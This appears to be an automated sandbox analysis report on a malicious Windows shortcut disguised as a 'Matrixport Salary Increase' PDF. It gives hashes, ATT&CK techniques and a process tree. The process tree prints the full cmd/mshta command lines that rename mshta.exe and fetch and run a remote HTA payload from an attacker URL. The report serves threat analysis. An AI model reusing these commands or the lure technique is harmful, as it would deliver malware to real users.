0b79e1194644431c2e28c48aa3654e658a2907e1003cd0484cd00a0796ebe6bb

Analysis

max time kernel
65s
max time network
149s
platform
windows10-1703_x64
resource
win10-20220812-ja
resource tags

arch:x64arch:x86image:win10-20220812-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21/09/2022, 22:46

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General

Target

Matrixport Salary Increase.pdf.lnk
Size

391KB
MD5

47429bf0f19ab16bd659c9039b164a9e
SHA1

954493af1b8402a3dd27c4081724678adc522777
SHA256

0b79e1194644431c2e28c48aa3654e658a2907e1003cd0484cd00a0796ebe6bb
SHA512

c88734121ed700bdad92ba8525b180a5b345995d0114c5ab46b3f6fd05bd7caae75ea329c4e9e4fab5939ba1ad4db467fabdbc05812314e65959ccab2d391a22
SSDEEP

12288:ZGtnJ/gnqf+ys4BTC6jQcQovnjTuZrDIh:ZMntn+yFTd/jqJa

Score

10^/10

evasion trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://ms.onlineshares.cloud/WpY6pcQaHB5FyGgjo48r/RkErGkgsq73IIAq0bSVo04=

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	4812	mshta.exe
4	4812	mshta.exe
6	4812	mshta.exe
8	4812	mshta.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5064 wrote to memory of 5100	5064	cmd.exe	68
PID 5064 wrote to memory of 5100	5064	cmd.exe	68
PID 5100 wrote to memory of 4812	5100	cmd.exe	69
PID 5100 wrote to memory of 4812	5100	cmd.exe	69

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Matrixport Salary Increase.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:5064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /q /c type C:\Windows\system32\msh*.exe>C:\Users\Public\msh&ren C:\Users\Public\* *ta.exe&for %i IN (C:\Users\Public\ms*.exe) DO start /b %~ni "https://ms.onlineshares.cloud/WpY6pcQaHB5FyGgjo48r/RkErGkgsq73IIAq0bSVo04="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5100
- - \??\c:\windows\system32\mshta.exe
    mshta "https://ms.onlineshares.cloud/WpY6pcQaHB5FyGgjo48r/RkErGkgsq73IIAq0bSVo04="
    3⤵
    - Blocklisted process makes network request
    - Checks whether UAC is enabled
    PID:4812

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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